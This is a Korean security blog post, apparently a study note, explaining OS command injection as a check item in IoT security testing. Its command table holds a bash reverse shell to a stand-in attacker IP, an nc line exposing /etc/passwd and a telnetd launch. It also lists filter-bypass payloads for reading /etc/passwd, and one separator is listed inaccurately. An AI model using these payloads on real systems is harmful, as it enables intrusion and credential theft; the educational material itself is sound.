Notice
Recent Posts
Recent Comments
Link
반응형
일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | ||||
4 | 5 | 6 | 7 | 8 | 9 | 10 |
11 | 12 | 13 | 14 | 15 | 16 | 17 |
18 | 19 | 20 | 21 | 22 | 23 | 24 |
25 | 26 | 27 | 28 | 29 | 30 | 31 |
Tags
- 보안컨설팅
- AWS
- ncp
- 네이버클라우드
- 정보보호
- isms
- RDS
- 클라우드 자격증
- 클라우드자격증
- 취약점
- 공개키
- 파일시그니처
- azure
- 정보보안
- AWS SSA
- mysql
- 와이어샤크
- AWS SAA
- 클라우드보안
- EC2
- 로그분석
- 개인정보보호법
- 클라우드
- Iam
- ISMS-P
- metasploit
- 로드밸런서
- 인스턴스
- Burp Suite
- 클라우드서비스
Archives
- Today
- Total
처음 만나는 클라우드 보안
[IoT보안] OS 커멘드 인젝션이란? 본문
반응형
[IoT보안이란?] 2022.12.12 - [정보보안] - [IoT 보안] IoT 보안 및 점검대상 알아보기
[IoT 보안] IoT보안 및 점검대상 알아보기
IoT란? : Internet of Things의 약어로 사물에 센서와 통신 기능을 내장하여 인터넷에 연결하는 기술을 의미한다. - wikipedia 일상속의 IoT IoT 해킹 취약성 · 디바이스에 관리 목적으로 내장된 수단이 악
cloudinfosec.tistory.com

OS 커멘드 인젝션 (Command Injection)
공격자가 구문을 삽입하여 악의된 명령이 실행되는 공격기법을 말한다.
IoT 기기 특성상 온전한 운영체제로 사용자에게 제공되기 때문에, 커멘드 인젝션은 필수 점검 항목으로 꼽힌다.
명령구분자
: 방어법으로 사용되는 필터링을 우회하기 위해 명령 구분자가 사용된다.
(명령1) ; (명령2) | 명령1의 성공여부와 관계없이 명령2를 실행 |
(명령1) $ (명령2) | 명령1을 백그라운드로 실행하며 명령2를 실행 |
(명령1) | (명령2) | 명령1의 실행결과를 명령2의 입력값으로 실행 |
공격 테스트 명령
명령어 | 설명 |
ping -c 10 (공격자 IP) | 공격자 IP로 ICMP메시지를 10번 전송하는 명령어, 공격자는 10개의 패킷 수신 여부를 통해 공격의 성공여부를 알 수 있다. |
nc -l -p (포트번호) < etc/passwd | 공격 성공 이후 공격자 pc 접근시 패스워드 파일의 내용을 노출시킨다. |
bash -i > & /dev/tcp/(공격자IP)/(포트번호) 0>&1 | bash쉘을 사용할 경우 해당 명령어로 대화형 쉘을 획득 할 수 있다. |
telnetd | 텔넷 서비스를 구동한다. 공격자는 로컬 PC에 텔넷으로 접근하여 공격 성공여부를 확인 할 수 있다. |
busybox (명령어) | UNIX기반 시스템의 경우 busybox상 다양한 명령어가 존재할 수 있다. |
필터링 우회
: bash 쉘의 경우 IFS(Internal Field Separator)라는 내부 필드 구분자가 존재하며 다양한 우회 기법을 점검할 수 있다.
중괄호 및 쉼표: {cat,/etc/passwd}
환경변수 호출 및 공백: X=$'cat\x20/etc/passwd'&&$X
c'a't /etc/passwd
백 슬래시 사용: c\a\t /etc/passwd
와일드카드 사용: /b??/?? t /???/p?? s??
본 게시물은 학습 기록을 위한 포스팅입니다. 악의적인 목적으로 이용 시 발생할 수 있는 모든 법적 책임은 자신에게 있습니다.
반응형
'정보보안' 카테고리의 다른 글
[Linux보안] 취약한 기본 서비스 - Finger , NIS, Tftp, Talk, SNMP (0) | 2023.03.10 |
---|---|
[정보보안] 위험관리란? (위험대책, 위험분석 기법 정리) (0) | 2023.02.21 |
[IoT 보안] IoT보안이란? - 주요 점검항목 알아보기 (0) | 2022.12.12 |
[정보보안] SSL VPN이란? (VPN & SSL 개념정리) (0) | 2022.08.27 |
HTML 기초태그: 간단한 홈페이지 만들기 (0) | 2022.05.25 |
Comments